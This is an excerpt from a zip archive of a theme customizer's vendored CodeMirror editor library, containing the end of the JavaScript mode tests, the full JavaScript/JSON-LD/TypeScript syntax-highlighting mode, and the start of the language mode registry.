     "[keyword function] [def foo]([def x] [operator =] [string-2 `foo${][number 10][string-2 }bar`]) {",
     "  [keyword return] [variable-2 x];",
     "}");

  MT("new_target",
     "[keyword function] [def F]([def target]) {",
     "  [keyword if] ([variable-2 target] [operator &&] [keyword new].[keyword target].[property name]) {",
     "    [keyword return] [keyword new]",
     "      .[keyword target];",
     "  }",
     "}");

  var jsonld_mode = CodeMirror.getMode(
    {indentUnit: 2},
    {name: "javascript", jsonld: true}
  );
  function LD(name) {
    test.mode(name, jsonld_mode, Array.prototype.slice.call(arguments, 1));
  }

  LD("json_ld_keywords",
    '{',
    '  [meta "@context"]: {',
    '    [meta "@base"]: [string "http://example.com"],',
    '    [meta "@vocab"]: [string "http://xmlns.com/foaf/0.1/"],',
    '    [property "likesFlavor"]: {',
    '      [meta "@container"]: [meta "@list"]',
    '      [meta "@reverse"]: [string "@beFavoriteOf"]',
    '    },',
    '    [property "nick"]: { [meta "@container"]: [meta "@set"] },',
    '    [property "nick"]: { [meta "@container"]: [meta "@index"] }',
    '  },',
    '  [meta "@graph"]: [[ {',
    '    [meta "@id"]: [string "http://dbpedia.org/resource/John_Lennon"],',
    '    [property "name"]: [string "John Lennon"],',
    '    [property "modified"]: {',
    '      [meta "@value"]: [string "2010-05-29T14:17:39+02:00"],',
    '      [meta "@type"]: [string "http://www.w3.org/2001/XMLSchema#dateTime"]',
    '    }',
    '  } ]]',
    '}');

  LD("json_ld_fake",
    '{',
    '  [property "@fake"]: [string "@fake"],',
    '  [property "@contextual"]: [string "@identifier"],',
    '  [property "user@domain.com"]: [string "@graphical"],',
    '  [property "@ID"]: [string "@@ID"]',
    '}');
})();
PK     0w\1j  j  N  customizer/framework/assets/js/vendor/codemirror/mode/javascript/javascript.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// TODO actually recognize syntax of TypeScript constructs

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("javascript", function(config, parserConfig) {
  var indentUnit = config.indentUnit;
  var statementIndent = parserConfig.statementIndent;
  var jsonldMode = parserConfig.jsonld;
  var jsonMode = parserConfig.json || jsonldMode;
  var isTS = parserConfig.typescript;
  var wordRE = parserConfig.wordCharacters || /[\w$\xa1-\uffff]/;

  // Tokenizer

  var keywords = function(){
    function kw(type) {return {type: type, style: "keyword"};}
    var A = kw("keyword a"), B = kw("keyword b"), C = kw("keyword c");
    var operator = kw("operator"), atom = {type: "atom", style: "atom"};

    var jsKeywords = {
      "if": kw("if"), "while": A, "with": A, "else": B, "do": B, "try": B, "finally": B,
      "return": C, "break": C, "continue": C, "new": kw("new"), "delete": C, "throw": C, "debugger": C,
      "var": kw("var"), "const": kw("var"), "let": kw("var"),
      "function": kw("function"), "catch": kw("catch"),
      "for": kw("for"), "switch": kw("switch"), "case": kw("case"), "default": kw("default"),
      "in": operator, "typeof": operator, "instanceof": operator,
      "true": atom, "false": atom, "null": atom, "undefined": atom, "NaN": atom, "Infinity": atom,
      "this": kw("this"), "class": kw("class"), "super": kw("atom"),
      "yield": C, "export": kw("export"), "import": kw("import"), "extends": C
    };

    // Extend the 'normal' keywords with the TypeScript language extensions
    if (isTS) {
      var type = {type: "variable", style: "variable-3"};
      var tsKeywords = {
        // object-like things
        "interface": kw("interface"),
        "extends": kw("extends"),
        "constructor": kw("constructor"),

        // scope modifiers
        "public": kw("public"),
        "private": kw("private"),
        "protected": kw("protected"),
        "static": kw("static"),

        // types
        "string": type, "number": type, "boolean": type, "any": type
      };

      for (var attr in tsKeywords) {
        jsKeywords[attr] = tsKeywords[attr];
      }
    }

    return jsKeywords;
  }();

  var isOperatorChar = /[+\-*&%=<>!?|~^]/;
  var isJsonldKeyword = /^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;

  function readRegexp(stream) {
    var escaped = false, next, inSet = false;
    while ((next = stream.next()) != null) {
      if (!escaped) {
        if (next == "/" && !inSet) return;
        if (next == "[") inSet = true;
        else if (inSet && next == "]") inSet = false;
      }
      escaped = !escaped && next == "\\";
    }
  }

  // Used as scratch variables to communicate multiple values without
  // consing up tons of objects.
  var type, content;
  function ret(tp, style, cont) {
    type = tp; content = cont;
    return style;
  }
  function tokenBase(stream, state) {
    var ch = stream.next();
    if (ch == '"' || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    } else if (ch == "." && stream.match(/^\d+(?:[eE][+\-]?\d+)?/)) {
      return ret("number", "number");
    } else if (ch == "." && stream.match("..")) {
      return ret("spread", "meta");
    } else if (/[\[\]{}\(\),;\:\.]/.test(ch)) {
      return ret(ch);
    } else if (ch == "=" && stream.eat(">")) {
      return ret("=>", "operator");
    } else if (ch == "0" && stream.eat(/x/i)) {
      stream.eatWhile(/[\da-f]/i);
      return ret("number", "number");
    } else if (ch == "0" && stream.eat(/o/i)) {
      stream.eatWhile(/[0-7]/i);
      return ret("number", "number");
    } else if (ch == "0" && stream.eat(/b/i)) {
      stream.eatWhile(/[01]/i);
      return ret("number", "number");
    } else if (/\d/.test(ch)) {
      stream.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/);
      return ret("number", "number");
    } else if (ch == "/") {
      if (stream.eat("*")) {
        state.tokenize = tokenComment;
        return tokenComment(stream, state);
      } else if (stream.eat("/")) {
        stream.skipToEnd();
        return ret("comment", "comment");
      } else if (/^(?:operator|sof|keyword c|case|new|[\[{}\(,;:])$/.test(state.lastType)) {
        readRegexp(stream);
        stream.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);
        return ret("regexp", "string-2");
      } else {
        stream.eatWhile(isOperatorChar);
        return ret("operator", "operator", stream.current());
      }
    } else if (ch == "`") {
      state.tokenize = tokenQuasi;
      return tokenQuasi(stream, state);
    } else if (ch == "#") {
      stream.skipToEnd();
      return ret("error", "error");
    } else if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return ret("operator", "operator", stream.current());
    } else if (wordRE.test(ch)) {
      stream.eatWhile(wordRE);
      var word = stream.current(), known = keywords.propertyIsEnumerable(word) && keywords[word];
      return (known && state.lastType != ".") ? ret(known.type, known.style, word) :
                     ret("variable", "variable", word);
    }
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next;
      if (jsonldMode && stream.peek() == "@" && stream.match(isJsonldKeyword)){
        state.tokenize = tokenBase;
        return ret("jsonld-keyword", "meta");
      }
      while ((next = stream.next()) != null) {
        if (next == quote && !escaped) break;
        escaped = !escaped && next == "\\";
      }
      if (!escaped) state.tokenize = tokenBase;
      return ret("string", "string");
    };
  }

  function tokenComment(stream, state) {
    var maybeEnd = false, ch;
    while (ch = stream.next()) {
      if (ch == "/" && maybeEnd) {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return ret("comment", "comment");
  }

  function tokenQuasi(stream, state) {
    var escaped = false, next;
    while ((next = stream.next()) != null) {
      if (!escaped && (next == "`" || next == "$" && stream.eat("{"))) {
        state.tokenize = tokenBase;
        break;
      }
      escaped = !escaped && next == "\\";
    }
    return ret("quasi", "string-2", stream.current());
  }

  var brackets = "([{}])";
  // This is a crude lookahead trick to try and notice that we're
  // parsing the argument patterns for a fat-arrow function before we
  // actually hit the arrow token. It only works if the arrow is on
  // the same line as the arguments and there's no strange noise
  // (comments) in between. Fallback is to only notice when we hit the
  // arrow, and not declare the arguments as locals for the arrow
  // body.
  function findFatArrow(stream, state) {
    if (state.fatArrowAt) state.fatArrowAt = null;
    var arrow = stream.string.indexOf("=>", stream.start);
    if (arrow < 0) return;

    var depth = 0, sawSomething = false;
    for (var pos = arrow - 1; pos >= 0; --pos) {
      var ch = stream.string.charAt(pos);
      var bracket = brackets.indexOf(ch);
      if (bracket >= 0 && bracket < 3) {
        if (!depth) { ++pos; break; }
        if (--depth == 0) break;
      } else if (bracket >= 3 && bracket < 6) {
        ++depth;
      } else if (wordRE.test(ch)) {
        sawSomething = true;
      } else if (/["'\/]/.test(ch)) {
        return;
      } else if (sawSomething && !depth) {
        ++pos;
        break;
      }
    }
    if (sawSomething && !depth) state.fatArrowAt = pos;
  }

  // Parser

  var atomicTypes = {"atom": true, "number": true, "variable": true, "string": true, "regexp": true, "this": true, "jsonld-keyword": true};

  function JSLexical(indented, column, type, align, prev, info) {
    this.indented = indented;
    this.column = column;
    this.type = type;
    this.prev = prev;
    this.info = info;
    if (align != null) this.align = align;
  }

  function inScope(state, varname) {
    for (var v = state.localVars; v; v = v.next)
      if (v.name == varname) return true;
    for (var cx = state.context; cx; cx = cx.prev) {
      for (var v = cx.vars; v; v = v.next)
        if (v.name == varname) return true;
    }
  }

  function parseJS(state, style, type, content, stream) {
    var cc = state.cc;
    // Communicate our context to the combinators.
    // (Less wasteful than consing up a hundred closures on every call.)
    cx.state = state; cx.stream = stream; cx.marked = null, cx.cc = cc; cx.style = style;

    if (!state.lexical.hasOwnProperty("align"))
      state.lexical.align = true;

    while(true) {
      var combinator = cc.length ? cc.pop() : jsonMode ? expression : statement;
      if (combinator(type, content)) {
        while(cc.length && cc[cc.length - 1].lex)
          cc.pop()();
        if (cx.marked) return cx.marked;
        if (type == "variable" && inScope(state, content)) return "variable-2";
        return style;
      }
    }
  }

  // Combinator utils

  var cx = {state: null, column: null, marked: null, cc: null};
  function pass() {
    for (var i = arguments.length - 1; i >= 0; i--) cx.cc.push(arguments[i]);
  }
  function cont() {
    pass.apply(null, arguments);
    return true;
  }
  function register(varname) {
    function inList(list) {
      for (var v = list; v; v = v.next)
        if (v.name == varname) return true;
      return false;
    }
    var state = cx.state;
    cx.marked = "def";
    if (state.context) {
      if (inList(state.localVars)) return;
      state.localVars = {name: varname, next: state.localVars};
    } else {
      if (inList(state.globalVars)) return;
      if (parserConfig.globalVars)
        state.globalVars = {name: varname, next: state.globalVars};
    }
  }

  // Combinators

  var defaultVars = {name: "this", next: {name: "arguments"}};
  function pushcontext() {
    cx.state.context = {prev: cx.state.context, vars: cx.state.localVars};
    cx.state.localVars = defaultVars;
  }
  function popcontext() {
    cx.state.localVars = cx.state.context.vars;
    cx.state.context = cx.state.context.prev;
  }
  function pushlex(type, info) {
    var result = function() {
      var state = cx.state, indent = state.indented;
      if (state.lexical.type == "stat") indent = state.lexical.indented;
      else for (var outer = state.lexical; outer && outer.type == ")" && outer.align; outer = outer.prev)
        indent = outer.indented;
      state.lexical = new JSLexical(indent, cx.stream.column(), type, null, state.lexical, info);
    };
    result.lex = true;
    return result;
  }
  function poplex() {
    var state = cx.state;
    if (state.lexical.prev) {
      if (state.lexical.type == ")")
        state.indented = state.lexical.indented;
      state.lexical = state.lexical.prev;
    }
  }
  poplex.lex = true;

  function expect(wanted) {
    function exp(type) {
      if (type == wanted) return cont();
      else if (wanted == ";") return pass();
      else return cont(exp);
    };
    return exp;
  }

  function statement(type, value) {
    if (type == "var") return cont(pushlex("vardef", value.length), vardef, expect(";"), poplex);
    if (type == "keyword a") return cont(pushlex("form"), expression, statement, poplex);
    if (type == "keyword b") return cont(pushlex("form"), statement, poplex);
    if (type == "{") return cont(pushlex("}"), block, poplex);
    if (type == ";") return cont();
    if (type == "if") {
      if (cx.state.lexical.info == "else" && cx.state.cc[cx.state.cc.length - 1] == poplex)
        cx.state.cc.pop()();
      return cont(pushlex("form"), expression, statement, poplex, maybeelse);
    }
    if (type == "function") return cont(functiondef);
    if (type == "for") return cont(pushlex("form"), forspec, statement, poplex);
    if (type == "variable") return cont(pushlex("stat"), maybelabel);
    if (type == "switch") return cont(pushlex("form"), expression, pushlex("}", "switch"), expect("{"),
                                      block, poplex, poplex);
    if (type == "case") return cont(expression, expect(":"));
    if (type == "default") return cont(expect(":"));
    if (type == "catch") return cont(pushlex("form"), pushcontext, expect("("), funarg, expect(")"),
                                     statement, poplex, popcontext);
    if (type == "class") return cont(pushlex("form"), className, poplex);
    if (type == "export") return cont(pushlex("stat"), afterExport, poplex);
    if (type == "import") return cont(pushlex("stat"), afterImport, poplex);
    return pass(pushlex("stat"), expression, expect(";"), poplex);
  }
  function expression(type) {
    return expressionInner(type, false);
  }
  function expressionNoComma(type) {
    return expressionInner(type, true);
  }
  function expressionInner(type, noComma) {
    if (cx.state.fatArrowAt == cx.stream.start) {
      var body = noComma ? arrowBodyNoComma : arrowBody;
      if (type == "(") return cont(pushcontext, pushlex(")"), commasep(pattern, ")"), poplex, expect("=>"), body, popcontext);
      else if (type == "variable") return pass(pushcontext, pattern, expect("=>"), body, popcontext);
    }

    var maybeop = noComma ? maybeoperatorNoComma : maybeoperatorComma;
    if (atomicTypes.hasOwnProperty(type)) return cont(maybeop);
    if (type == "function") return cont(functiondef, maybeop);
    if (type == "keyword c") return cont(noComma ? maybeexpressionNoComma : maybeexpression);
    if (type == "(") return cont(pushlex(")"), maybeexpression, comprehension, expect(")"), poplex, maybeop);
    if (type == "operator" || type == "spread") return cont(noComma ? expressionNoComma : expression);
    if (type == "[") return cont(pushlex("]"), arrayLiteral, poplex, maybeop);
    if (type == "{") return contCommasep(objprop, "}", null, maybeop);
    if (type == "quasi") return pass(quasi, maybeop);
    if (type == "new") return cont(maybeTarget(noComma));
    return cont();
  }
  function maybeexpression(type) {
    if (type.match(/[;\}\)\],]/)) return pass();
    return pass(expression);
  }
  function maybeexpressionNoComma(type) {
    if (type.match(/[;\}\)\],]/)) return pass();
    return pass(expressionNoComma);
  }

  function maybeoperatorComma(type, value) {
    if (type == ",") return cont(expression);
    return maybeoperatorNoComma(type, value, false);
  }
  function maybeoperatorNoComma(type, value, noComma) {
    var me = noComma == false ? maybeoperatorComma : maybeoperatorNoComma;
    var expr = noComma == false ? expression : expressionNoComma;
    if (type == "=>") return cont(pushcontext, noComma ? arrowBodyNoComma : arrowBody, popcontext);
    if (type == "operator") {
      if (/\+\+|--/.test(value)) return cont(me);
      if (value == "?") return cont(expression, expect(":"), expr);
      return cont(expr);
    }
    if (type == "quasi") { return pass(quasi, me); }
    if (type == ";") return;
    if (type == "(") return contCommasep(expressionNoComma, ")", "call", me);
    if (type == ".") return cont(property, me);
    if (type == "[") return cont(pushlex("]"), maybeexpression, expect("]"), poplex, me);
  }
  function quasi(type, value) {
    if (type != "quasi") return pass();
    if (value.slice(value.length - 2) != "${") return cont(quasi);
    return cont(expression, continueQuasi);
  }
  function continueQuasi(type) {
    if (type == "}") {
      cx.marked = "string-2";
      cx.state.tokenize = tokenQuasi;
      return cont(quasi);
    }
  }
  function arrowBody(type) {
    findFatArrow(cx.stream, cx.state);
    return pass(type == "{" ? statement : expression);
  }
  function arrowBodyNoComma(type) {
    findFatArrow(cx.stream, cx.state);
    return pass(type == "{" ? statement : expressionNoComma);
  }
  function maybeTarget(noComma) {
    return function(type) {
      if (type == ".") return cont(noComma ? targetNoComma : target);
      else return pass(noComma ? expressionNoComma : expression);
    };
  }
  function target(_, value) {
    if (value == "target") { cx.marked = "keyword"; return cont(maybeoperatorComma); }
  }
  function targetNoComma(_, value) {
    if (value == "target") { cx.marked = "keyword"; return cont(maybeoperatorNoComma); }
  }
  function maybelabel(type) {
    if (type == ":") return cont(poplex, statement);
    return pass(maybeoperatorComma, expect(";"), poplex);
  }
  function property(type) {
    if (type == "variable") {cx.marked = "property"; return cont();}
  }
  function objprop(type, value) {
    if (type == "variable" || cx.style == "keyword") {
      cx.marked = "property";
      if (value == "get" || value == "set") return cont(getterSetter);
      return cont(afterprop);
    } else if (type == "number" || type == "string") {
      cx.marked = jsonldMode ? "property" : (cx.style + " property");
      return cont(afterprop);
    } else if (type == "jsonld-keyword") {
      return cont(afterprop);
    } else if (type == "[") {
      return cont(expression, expect("]"), afterprop);
    } else if (type == "spread") {
      return cont(expression);
    }
  }
  function getterSetter(type) {
    if (type != "variable") return pass(afterprop);
    cx.marked = "property";
    return cont(functiondef);
  }
  function afterprop(type) {
    if (type == ":") return cont(expressionNoComma);
    if (type == "(") return pass(functiondef);
  }
  function commasep(what, end) {
    function proceed(type) {
      if (type == ",") {
        var lex = cx.state.lexical;
        if (lex.info == "call") lex.pos = (lex.pos || 0) + 1;
        return cont(what, proceed);
      }
      if (type == end) return cont();
      return cont(expect(end));
    }
    return function(type) {
      if (type == end) return cont();
      return pass(what, proceed);
    };
  }
  function contCommasep(what, end, info) {
    for (var i = 3; i < arguments.length; i++)
      cx.cc.push(arguments[i]);
    return cont(pushlex(end, info), commasep(what, end), poplex);
  }
  function block(type) {
    if (type == "}") return cont();
    return pass(statement, block);
  }
  function maybetype(type) {
    if (isTS && type == ":") return cont(typedef);
  }
  function maybedefault(_, value) {
    if (value == "=") return cont(expressionNoComma);
  }
  function typedef(type) {
    if (type == "variable") {cx.marked = "variable-3"; return cont();}
  }
  function vardef() {
    return pass(pattern, maybetype, maybeAssign, vardefCont);
  }
  function pattern(type, value) {
    if (type == "variable") { register(value); return cont(); }
    if (type == "spread") return cont(pattern);
    if (type == "[") return contCommasep(pattern, "]");
    if (type == "{") return contCommasep(proppattern, "}");
  }
  function proppattern(type, value) {
    if (type == "variable" && !cx.stream.match(/^\s*:/, false)) {
      register(value);
      return cont(maybeAssign);
    }
    if (type == "variable") cx.marked = "property";
    if (type == "spread") return cont(pattern);
    return cont(expect(":"), pattern, maybeAssign);
  }
  function maybeAssign(_type, value) {
    if (value == "=") return cont(expressionNoComma);
  }
  function vardefCont(type) {
    if (type == ",") return cont(vardef);
  }
  function maybeelse(type, value) {
    if (type == "keyword b" && value == "else") return cont(pushlex("form", "else"), statement, poplex);
  }
  function forspec(type) {
    if (type == "(") return cont(pushlex(")"), forspec1, expect(")"), poplex);
  }
  function forspec1(type) {
    if (type == "var") return cont(vardef, expect(";"), forspec2);
    if (type == ";") return cont(forspec2);
    if (type == "variable") return cont(formaybeinof);
    return pass(expression, expect(";"), forspec2);
  }
  function formaybeinof(_type, value) {
    if (value == "in" || value == "of") { cx.marked = "keyword"; return cont(expression); }
    return cont(maybeoperatorComma, forspec2);
  }
  function forspec2(type, value) {
    if (type == ";") return cont(forspec3);
    if (value == "in" || value == "of") { cx.marked = "keyword"; return cont(expression); }
    return pass(expression, expect(";"), forspec3);
  }
  function forspec3(type) {
    if (type != ")") cont(expression);
  }
  function functiondef(type, value) {
    if (value == "*") {cx.marked = "keyword"; return cont(functiondef);}
    if (type == "variable") {register(value); return cont(functiondef);}
    if (type == "(") return cont(pushcontext, pushlex(")"), commasep(funarg, ")"), poplex, statement, popcontext);
  }
  function funarg(type) {
    if (type == "spread") return cont(funarg);
    return pass(pattern, maybetype, maybedefault);
  }
  function className(type, value) {
    if (type == "variable") {register(value); return cont(classNameAfter);}
  }
  function classNameAfter(type, value) {
    if (value == "extends") return cont(expression, classNameAfter);
    if (type == "{") return cont(pushlex("}"), classBody, poplex);
  }
  function classBody(type, value) {
    if (type == "variable" || cx.style == "keyword") {
      if (value == "static") {
        cx.marked = "keyword";
        return cont(classBody);
      }
      cx.marked = "property";
      if (value == "get" || value == "set") return cont(classGetterSetter, functiondef, classBody);
      return cont(functiondef, classBody);
    }
    if (value == "*") {
      cx.marked = "keyword";
      return cont(classBody);
    }
    if (type == ";") return cont(classBody);
    if (type == "}") return cont();
  }
  function classGetterSetter(type) {
    if (type != "variable") return pass();
    cx.marked = "property";
    return cont();
  }
  function afterExport(_type, value) {
    if (value == "*") { cx.marked = "keyword"; return cont(maybeFrom, expect(";")); }
    if (value == "default") { cx.marked = "keyword"; return cont(expression, expect(";")); }
    return pass(statement);
  }
  function afterImport(type) {
    if (type == "string") return cont();
    return pass(importSpec, maybeFrom);
  }
  function importSpec(type, value) {
    if (type == "{") return contCommasep(importSpec, "}");
    if (type == "variable") register(value);
    if (value == "*") cx.marked = "keyword";
    return cont(maybeAs);
  }
  function maybeAs(_type, value) {
    if (value == "as") { cx.marked = "keyword"; return cont(importSpec); }
  }
  function maybeFrom(_type, value) {
    if (value == "from") { cx.marked = "keyword"; return cont(expression); }
  }
  function arrayLiteral(type) {
    if (type == "]") return cont();
    return pass(expressionNoComma, maybeArrayComprehension);
  }
  function maybeArrayComprehension(type) {
    if (type == "for") return pass(comprehension, expect("]"));
    if (type == ",") return cont(commasep(maybeexpressionNoComma, "]"));
    return pass(commasep(expressionNoComma, "]"));
  }
  function comprehension(type) {
    if (type == "for") return cont(forspec, comprehension);
    if (type == "if") return cont(expression, comprehension);
  }

  function isContinuedStatement(state, textAfter) {
    return state.lastType == "operator" || state.lastType == "," ||
      isOperatorChar.test(textAfter.charAt(0)) ||
      /[,.]/.test(textAfter.charAt(0));
  }

  // Interface

  return {
    startState: function(basecolumn) {
      var state = {
        tokenize: tokenBase,
        lastType: "sof",
        cc: [],
        lexical: new JSLexical((basecolumn || 0) - indentUnit, 0, "block", false),
        localVars: parserConfig.localVars,
        context: parserConfig.localVars && {vars: parserConfig.localVars},
        indented: 0
      };
      if (parserConfig.globalVars && typeof parserConfig.globalVars == "object")
        state.globalVars = parserConfig.globalVars;
      return state;
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (!state.lexical.hasOwnProperty("align"))
          state.lexical.align = false;
        state.indented = stream.indentation();
        findFatArrow(stream, state);
      }
      if (state.tokenize != tokenComment && stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);
      if (type == "comment") return style;
      state.lastType = type == "operator" && (content == "++" || content == "--") ? "incdec" : type;
      return parseJS(state, style, type, content, stream);
    },

    indent: function(state, textAfter) {
      if (state.tokenize == tokenComment) return CodeMirror.Pass;
      if (state.tokenize != tokenBase) return 0;
      var firstChar = textAfter && textAfter.charAt(0), lexical = state.lexical;
      // Kludge to prevent 'maybelse' from blocking lexical scope pops
      if (!/^\s*else\b/.test(textAfter)) for (var i = state.cc.length - 1; i >= 0; --i) {
        var c = state.cc[i];
        if (c == poplex) lexical = lexical.prev;
        else if (c != maybeelse) break;
      }
      if (lexical.type == "stat" && firstChar == "}") lexical = lexical.prev;
      if (statementIndent && lexical.type == ")" && lexical.prev.type == "stat")
        lexical = lexical.prev;
      var type = lexical.type, closing = firstChar == type;

      if (type == "vardef") return lexical.indented + (state.lastType == "operator" || state.lastType == "," ? lexical.info + 1 : 0);
      else if (type == "form" && firstChar == "{") return lexical.indented;
      else if (type == "form") return lexical.indented + indentUnit;
      else if (type == "stat")
        return lexical.indented + (isContinuedStatement(state, textAfter) ? statementIndent || indentUnit : 0);
      else if (lexical.info == "switch" && !closing && parserConfig.doubleIndentSwitch != false)
        return lexical.indented + (/^(?:case|default)\b/.test(textAfter) ? indentUnit : 2 * indentUnit);
      else if (lexical.align) return lexical.column + (closing ? 0 : 1);
      else return lexical.indented + (closing ? 0 : indentUnit);
    },

    electricInput: /^\s*(?:case .*?:|default:|\{|\})$/,
    blockCommentStart: jsonMode ? null : "/*",
    blockCommentEnd: jsonMode ? null : "*/",
    lineComment: jsonMode ? null : "//",
    fold: "brace",
    closeBrackets: "()[]{}''\"\"``",

    helperType: jsonMode ? "json" : "javascript",
    jsonldMode: jsonldMode,
    jsonMode: jsonMode
  };
});

CodeMirror.registerHelper("wordChars", "javascript", /[\w$]/);

CodeMirror.defineMIME("text/javascript", "javascript");
CodeMirror.defineMIME("text/ecmascript", "javascript");
CodeMirror.defineMIME("application/javascript", "javascript");
CodeMirror.defineMIME("application/x-javascript", "javascript");
CodeMirror.defineMIME("application/ecmascript", "javascript");
CodeMirror.defineMIME("application/json", {name: "javascript", json: true});
CodeMirror.defineMIME("application/x-json", {name: "javascript", json: true});
CodeMirror.defineMIME("application/ld+json", {name: "javascript", jsonld: true});
CodeMirror.defineMIME("text/typescript", { name: "javascript", typescript: true });
CodeMirror.defineMIME("application/typescript", { name: "javascript", typescript: true });

});
PK     0w\S4  4  =  customizer/framework/assets/js/vendor/codemirror/mode/meta.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.modeInfo = [
    {name: "APL", mime: "text/apl", mode: "apl", ext: ["dyalog", "apl"]},
    {name: "PGP", mimes: ["application/pgp", "application/pgp-keys", "application/pgp-signature"], mode: "asciiarmor", ext: ["pgp"]},
    {name: "ASN.1", mime: "text/x-ttcn-asn", mode: "asn.1", ext: ["asn", "asn1"]},
    {name: "Asterisk", mime: "text/x-asterisk", mode: "asterisk", file: /^extensions\.conf$/i},
    {name: "Brainfuck", mime: "text/x-brainfuck", mode: "brainfuck", ext: ["b", "bf"]},
    {name: "C", mime: "text/x-csrc", mode: "clike", ext: ["c", "h"]},
    {name: "C++", mime: "text/x-c++src", mode: "clike", ext: ["cpp", "c++", "cc", "cxx", "hpp", "h++", "hh", "hxx"], alias: ["cpp"]},
    {name: "Cobol", mime: "text/x-cobol", mode: "cobol", ext: ["cob", "cpy"]},
    {name: "C#", mime: "text/x-csharp", mode: "clike", ext: ["cs"], alias: ["csharp"]},
    {name: "Clojure", mime: "text/x-clojure", mode: "clojure", ext: ["clj"]},
    {name: "Closure Stylesheets (GSS)", mime: "text/x-gss", mode: "css", ext: ["gss"]},
    {name: "CMake", mime: "text/x-cmake", mode: "cmake", ext: ["cmake", "cmake.in"], file: /^CMakeLists.txt$/},
    {name: "CoffeeScript", mime: "text/x-coffeescript", mode: "coffeescript", ext: ["coffee"], alias: ["coffee", "coffee-script"]},
    {name: "Common Lisp", mime: "text/x-common-lisp", mode: "commonlisp", ext: ["cl", "lisp", "el"], alias: ["lisp"]},
    {name: "Cypher", mime: "application/x-cypher-query", mode: "cypher", ext: ["cyp", "cypher"]},
    {name: "Cython", mime: "text/x-cython", mode: "python", ext: ["pyx", "pxd", "pxi"]},
    {name: "CSS", mime: "text/css", mode: "css", ext: ["css"]},
    {name: "CQL", mime: "text/x-cassandra", mode: "sql", ext: ["cql"]},
    {name: "D", mime: "text/x-d", mode: "d", ext: ["d"]},
    {name: "Dart", mimes: ["application/dart", "text/x-dart"], mode: "dart", ext: ["dart"]},
    {name: "diff", mime: "text/x-diff", mode: "diff", ext: ["diff", "patch"]},
    {name: "Django", mime: "text/x-django", mode: "django"},
    {name: "Dockerfile", mime: "text/x-dockerfile", mode: "dockerfile", file: /^Dockerfile$/},
    {name: "DTD", mime: "application/xml-dtd", mode: "dtd", ext: ["dtd"]},
    {name: "Dylan", mime: "text/x-dylan", mode: "dylan", ext: ["dylan", "dyl", "intr"]},
    {name: "EBNF", mime: "text/x-ebnf", mode: "ebnf"},
    {name: "ECL", mime: "text/x-ecl", mode: "ecl", ext: ["ecl"]},
    {name: "Eiffel", mime: "text/x-eiffel", mode: "eiffel", ext: ["e"]},
    {name: "Elm", mime: "text/x-elm", mode: "elm", ext: ["elm"]},
    {name: "Embedded Javascript", mime: "application/x-ejs", mode: "htmlembedded", ext: ["ejs"]},
    {name: "Embedded Ruby", mime: "application/x-erb", mode: "htmlembedded", ext: ["erb"]},
    {name: "Erlang", mime: "text/x-erlang", mode: "erlang", ext: ["erl"]},
    {name: "Factor", mime: "text/x-factor", mode: "factor", ext: ["factor"]},
    {name: "Forth", mime: "text/x-forth", mode: "forth", ext: ["forth", "fth", "4th"]},
    {name: "Fortran", mime: "text/x-fortran", mode: "fortran", ext: ["f", "for", "f77", "f90"]},
    {name: "F#", mime: "text/x-fsharp", mode: "mllike", ext: ["fs"], alias: ["fsharp"]},
    {name: "Gas", mime: "text/x-gas", mode: "gas", ext: ["s"]},
    {name: "Gherkin", mime: "text/x-feature", mode: "gherkin", ext: ["feature"]},
    {name: "GitHub Flavored Markdown", mime: "text/x-gfm", mode: "gfm", file: /^(readme|contributing|history).md$/i},
    {name: "Go", mime: "text/x-go", mode: "go", ext: ["go"]},
    {name: "Groovy", mime: "text/x-groovy", mode: "groovy", ext: ["groovy"]},
    {name: "HAML", mime: "text/x-haml", mode: "haml", ext: ["haml"]},
    {name: "Haskell", mime: "text/x-haskell", mode: "haskell", ext: ["hs"]},
    {name: "Haxe", mime: "text/x-haxe", mode: "haxe", ext: ["hx"]},
    {name: "HXML", mime: "text/x-hxml", mode: "haxe", ext: ["hxml"]},
    {name: "ASP.NET", mime: "application/x-aspx", mode: "htmlembedded", ext: ["aspx"], alias: ["asp", "aspx"]},
    {name: "HTML", mime: "text/html", mode: "htmlmixed", ext: ["html", "htm"], alias: ["xhtml"]},
    {name: "HTTP", mime: "message/http", mode: "http"},
    {name: "IDL", mime: "text/x-idl", mode: "idl", ext: ["pro"]},
    {name: "Jade", mime: "text/x-jade", mode: "jade", ext: ["jade"]},
    {name: "Java", mime: "text/x-java", mode: "clike", ext: ["java"]},
    {name: "Java Server Pages", mime: "application/x-jsp", mode: "htmlembedded", ext: ["jsp"], alias: ["jsp"]},
    {name: "JavaScript", mimes: ["text/javascript", "text/ecmascript", "application/javascript", "application/x-javascript", "application/ecmascript"],
     mode: "javascript", ext: ["js"], alias: ["ecmascript", "js", "node"]},
    {name: "JSON", mimes: ["application/json", "application/x-json"], mode: "javascript", ext: ["json", "map"], alias: ["json5"]},
    {name: "JSON-LD", mime: "application/ld+json", mode: "javascript", ext: ["jsonld"], alias: ["jsonld"]},
    {name: "Jinja2", mime: "null", mode: "jinja2"},
    {name: "Julia", mime: "text/x-julia", mode: "julia", ext: ["jl"]},
    {name: "Kotlin", mime: "text/x-kotlin", mode: "clike", ext: ["kt"]},
